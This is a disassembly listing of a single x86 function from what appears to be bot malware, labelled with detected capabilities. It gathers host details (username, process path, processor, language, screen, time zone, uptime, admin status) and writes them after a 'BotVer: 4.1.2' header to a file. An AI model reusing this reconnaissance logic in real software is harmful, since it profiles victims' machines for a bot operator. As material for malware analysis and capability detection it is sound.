Function at 0x10004b00
Capabilities:
Get session user name
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push 3
mov edi, eax
push 0xc0000000
push edi
mov dword [ebp - 0x14], 0x104
mov dword [ebp - 0xa4], 0x406
mov dword [ebp - 0xa0], 0x413
mov dword [ebp - 0x9c], 0x813
mov dword [ebp - 0x98], 0x409
mov dword [ebp - 0x94], 0x809
mov dword [ebp - 0x90], 0xc09
mov dword [ebp - 0x8c], 0x1009
mov dword [ebp - 0x88], 0x1409
mov dword [ebp - 0x84], 0x1809
mov dword [ebp - 0x80], 0x40b
mov dword [ebp - 0x7c], 0x40c
mov dword [ebp - 0x78], 0x80c0
mov dword [ebp - 0x74], 0xc0c
mov dword [ebp - 0x70], 0x100c
mov dword [ebp - 0x6c], 0x407
mov dword [ebp - 0x68], 0x807
mov dword [ebp - 0x64], 0xc07
mov dword [ebp - 0x60], 0x40f
mov dword [ebp - 0x5c], 0x410
mov dword [ebp - 0x58], 0x810
mov dword [ebp - 0x54], 0x414
mov dword [ebp - 0x50], 0x814
mov dword [ebp - 0x4c], 0x416
mov dword [ebp - 0x48], 0x816
mov dword [ebp - 0x44], 0x41d
mov dword [ebp - 0x40], 0x40a
mov dword [ebp - 0x3c], 0x80a
mov dword [ebp - 0x38], 0xc0a
mov dword [ebp - 0x34], 0x41f
mov dword [ebp - 0x30], 0x415
mov dword [ebp - 0x2c], 0x405
mov dword [ebp - 0x28], 0x41b
mov dword [ebp - 0x24], 0x40e
mov dword [ebp - 0x20], 0x419
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000592a
push 1
push edi
call fcn.100259d0
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 1
push ebx
push ebx
push esi
mov dword [ebp - 4], ebx
call edi
push ebx
push 9
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LockFile]
push eax
push esi
mov dword [ebp - 0xc], eax
call ebx
push 0
lea eax, [ebp - 4]
push eax
push 9
push str.BotVer:
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0xc]
push 0
push 9
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 4], 0
call edi
push 0
push 5
push 0
push eax
push esi
mov dword [ebp - 0xc], eax
call ebx
push 0
lea edx, [ebp - 4]
push edx
push 5
push str.4.1.2
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
push 0
push 5
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 4], 0
call edi
push 0
push 2
push 0
push eax
push esi
mov dword [ebp - 0xc], eax
call ebx
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x10045b88
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 2
mov edx, dword [ebp - 0xc]
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 0x104
lea eax, [ebp - 0x1a8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
push 0
push 0
push esi
mov dword [ebp - 4], 0
call edi
push 0
push 0xa
push 0
push eax
push esi
mov dword [ebp - 0xc], eax
call ebx
push 0
lea ecx, [ebp - 4]
push ecx
push 0xa
push str.Process:
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
push 0
push 0xa
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea eax, [ebp - 0x1a8]
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10004d80
sub eax, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
je 0x10004dd8
push 1
push 0
push 0
push esi
call edi
mov ecx, dword [ebp - 0xc]
push 0
push ecx
push 0
push eax
push esi
mov dword [ebp - 8], eax
call ebx
mov eax, dword [ebp - 0xc]
push 0
lea edx, [ebp - 4]
push edx
push eax
lea ecx, [ebp - 0x1a8]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
push 0
push edx
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 2
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea ecx, [ebp - 8]
push ecx
push 2
push 0x10045b88
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push 0
push 2
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x1a8]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 0xb
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea edx, [ebp - 8]
push edx
push 0xb
push str.Username:
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
push 0
push 0xb
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea eax, [ebp - 0x1a8]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10004e76
sub eax, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
je 0x10004ece
push 1
push 0
push 0
push esi
call edi
mov ecx, dword [ebp - 0xc]
push 0
push ecx
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
mov eax, dword [ebp - 0xc]
push 0
lea edx, [ebp - 8]
push edx
push eax
lea ecx, [ebp - 0x1a8]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
push 0
push edx
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 2
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea ecx, [ebp - 8]
push ecx
push 2
push 0x10045b88
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push 0
push 2
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 0x104
lea eax, [ebp - 0x1a8]
push eax
push str.PROCESSOR_IDENTIFIER
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 0xc
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea ecx, [ebp - 8]
push ecx
push 0xc
push str.Processor:
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push 0
push 0xc
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea eax, [ebp - 0x1a8]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10004f72
sub eax, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
je 0x10004fca
push 1
push 0
push 0
push esi
call edi
mov ecx, dword [ebp - 0xc]
push 0
push ecx
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
mov eax, dword [ebp - 0xc]
push 0
lea edx, [ebp - 8]
push edx
push eax
lea ecx, [ebp - 0x1a8]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
push 0
push edx
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 2
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea ecx, [ebp - 8]
push ecx
push 2
push 0x10045b88
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push 0
push 2
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push 0x104
movzx eax, ax
lea ecx, [ebp - 0x1a8]
push 0
push ecx
mov dword [ebp - 8], eax
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
mov edx, dword [ebp - 8]
cmp edx, dword [ebp + eax*4 - 0xa4]
je 0x10005044
inc eax
cmp eax, 0x24
jl 0x10005030
jmp 0x10005060
mov cx, word [eax*4 + str.DAN_NLD_NLB_ENU_ENG_ENA_ENC_ENZ_ENI_FIN_FRA_FRB_FRC_FRS_DEU_DES_DEA_ISL_ITA_ITS_NOR_NON_PTB_PTG_SVE_ESP_ESM_ESN_TRK_PLK_CSY_SKY_HUN_RUS_GRE_ALL]
mov dl, byte [eax*4 + 0x10045c22]
mov word [ebp - 0x1a8], cx
mov byte [ebp - 0x1a6], dl
lea eax, [ebp - 0x1a8]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10005070
sub eax, edx
jne 0x10005085
mov dword [ebp - 0x1a8], 0x585858
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 0xb
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea eax, [ebp - 8]
push eax
push 0xb
push str.Language:
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
push 0
push 0xb
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea eax, [ebp - 0x1a8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100050d0
sub eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
je 0x10005128
push 1
push 0
push 0
push esi
call edi
mov edx, dword [ebp - 0xc]
push 0
push edx
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
mov ecx, dword [ebp - 0xc]
push 0
lea eax, [ebp - 8]
push eax
push ecx
lea edx, [ebp - 0x1a8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
push 0
push eax
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 2
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea edx, [ebp - 8]
push edx
push 2
push 0x10045b88
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
push 0
push 2
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 0xc
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push eax
push 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push eax
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push eax
push str._dx_d__d
lea ecx, [ebp - 0x1a8]
push 0x104
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x18
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 9
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea edx, [ebp - 8]
push edx
push 9
push str.Screen:
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
push 0
push 9
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea eax, [ebp - 0x1a8]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100051f3
sub eax, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
je 0x1000524b
push 1
push 0
push 0
push esi
call edi
mov ecx, dword [ebp - 0xc]
push 0
push ecx
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
mov eax, dword [ebp - 0xc]
push 0
lea edx, [ebp - 8]
push edx
push eax
lea ecx, [ebp - 0x1a8]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
push 0
push edx
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 2
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea ecx, [ebp - 8]
push ecx
push 2
push 0x10045b88
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push 0
push 2
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 0x104
lea eax, [ebp - 0x1a8]
push eax
push str.dd:MMM:yyyy
push 0
push 0
push 0x409
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 7
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea ecx, [ebp - 8]
push ecx
push 7
push str.Date:
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push 0
push 7
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea eax, [ebp - 0x1a8]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100052f8
sub eax, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
je 0x10005350
push 1
push 0
push 0
push esi
call edi
mov ecx, dword [ebp - 0xc]
push 0
push ecx
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
mov eax, dword [ebp - 0xc]
push 0
lea edx, [ebp - 8]
push edx
push eax
lea ecx, [ebp - 0x1a8]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
push 0
push edx
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 2
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea ecx, [ebp - 8]
push ecx
push 2
push 0x10045b88
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push 0
push 2
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 0x104
lea eax, [ebp - 0x1a8]
push eax
push str.HH:mm:ss
push 0
push 0
push 0x409
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 0xd
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea ecx, [ebp - 8]
push ecx
push 0xd
push str.Local_time:
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push 0
push 0xd
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea eax, [ebp - 0x1a8]
lea ecx, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10005400
sub eax, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
je 0x10005458
push 1
push 0
push 0
push esi
call edi
mov ecx, dword [ebp - 0xc]
push 0
push ecx
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
mov eax, dword [ebp - 0xc]
push 0
lea edx, [ebp - 8]
push edx
push eax
lea ecx, [ebp - 0x1a8]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
push 0
push edx
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 2
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea ecx, [ebp - 8]
push ecx
push 2
push 0x10045b88
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push 0
push 2
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov ecx, dword [ebp - 0x254]
mov eax, 0x88888889
imul ecx
add edx, ecx
mov eax, dword [ebp - 0x254]
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, ecx
shl edx, 4
sub edx, ecx
add edx, edx
add edx, edx
sub eax, edx
cdq
xor eax, edx
sub eax, edx
push eax
mov eax, ecx
cdq
xor eax, edx
sub eax, edx
push eax
xor eax, eax
cmp dword [ebp - 0x254], eax
lea ecx, [ebp - 0x1a8]
setg al
lea eax, [eax + eax + 0x2b]
push eax
push str._c_d:_02d
push 0x104
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x18
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 6
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea edx, [ebp - 8]
push edx
push 6
push str.GMT:
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 4]
push 0
push 6
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea eax, [ebp - 0x1a8]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10005556
sub eax, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
je 0x100055ae
push 1
push 0
push 0
push esi
call edi
mov ecx, dword [ebp - 0xc]
push 0
push ecx
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
mov eax, dword [ebp - 0xc]
push 0
lea edx, [ebp - 8]
push edx
push eax
lea ecx, [ebp - 0x1a8]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
push 0
push edx
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 2
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea ecx, [ebp - 8]
push ecx
push 2
push 0x10045b88
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push 0
push 2
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call edi
push 0
push 9
push 0
push eax
push esi
mov dword [ebp - 4], eax
call ebx
push 0
lea eax, [ebp - 8]
push eax
push 9
push str.Uptime:
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
push 0
push 9
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
call fcn.10004100
lea ecx, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10005640
sub eax, ecx
mov dword [ebp - 0xc], eax
call fcn.10004100
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
test eax, eax
je 0x100056a5
cmp dword [ebp - 0xc], 0
je 0x100056a5
push 1
push 0
push 0
push esi
call edi
mov edx, dword [ebp - 0xc]
push 0
push edx
push 0
push eax
push esi
mov dword [ebp - 0x10], eax
call ebx
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
push 0
lea eax, [ebp - 8]
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
push 0
push eax
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 0x10], 0
call edi
push 0
push 2
push 0
push eax
push esi
mov dword [ebp - 8], eax
call ebx
push 0
lea edx, [ebp - 0x10]
push edx
push 2
push 0x10045b88
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push 0
push 2
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 0x104
lea ecx, [ebp - 0x1a8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 1
push 0
push 0
push esi
mov dword [ebp - 0x10], 0
call edi
push 0
push 0x14
push 0
push eax
push esi
mov dword [ebp - 8], eax
call ebx
push 0
lea edx, [ebp - 0x10]
push edx
push 0x14
push str.Windows_directory:
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push 0
push 0x14
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea eax, [ebp - 0x1a8]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10005744
sub eax, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
je 0x1000579c
push 1
push 0
push 0
push esi
call edi
mov ecx, dword [ebp - 0xc]
push 0
push ecx
push 0
push eax
push esi
mov dword [ebp - 8], eax
call ebx
mov eax, dword [ebp - 0xc]
push 0
lea edx, [ebp - 0x10]
push edx
push eax
lea ecx, [ebp - 0x1a8]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
push 0
push edx
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 0x10], 0
call edi
push 0
push 2
push 0
push eax
push esi
mov dword [ebp - 8], eax
call ebx
push 0
lea ecx, [ebp - 0x10]
push ecx
push 2
push 0x10045b88
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 8]
push 0
push 2
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 0x10], 0
call edi
push 0
push 0x10
push 0
push eax
push esi
mov dword [ebp - 8], eax
call ebx
push 0
lea eax, [ebp - 0x10]
push eax
push 0x10
push str.Administrator:
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 8]
push 0
push 0x10
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
mov eax, str.true
jne 0x10005834
mov eax, str.false
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10005837
sub eax, edx
mov dword [ebp - 0xc], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov dword [ebp - 4], str.true
test eax, eax
jne 0x1000585b
mov dword [ebp - 4], str.false
cmp dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
je 0x100058ae
cmp dword [ebp - 0xc], 0
je 0x100058ae
push 1
push 0
push 0
push esi
call edi
mov edx, dword [ebp - 0xc]
push 0
push edx
push 0
push eax
push esi
mov dword [ebp - 8], eax
call ebx
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
push 0
lea eax, [ebp - 0x10]
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
push 0
push eax
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push 1
push 0
push 0
push esi
mov dword [ebp - 0x10], 0
call edi
push 0
push 2
push 0
mov edi, eax
push edi
push esi
call ebx
push 0
lea edx, [ebp - 0x10]
push edx
push 2
push 0x10045b88
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 2
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
call fcn.10004900
push esi
call fcn.10004180
push esi
call fcn.100044d0
push esi
call fcn.10004710
mov dword [ebp - 4], 0
test esi, esi
je 0x1000592a
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1000592a
test byte [ebp - 4], 2
jne 0x1000592a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret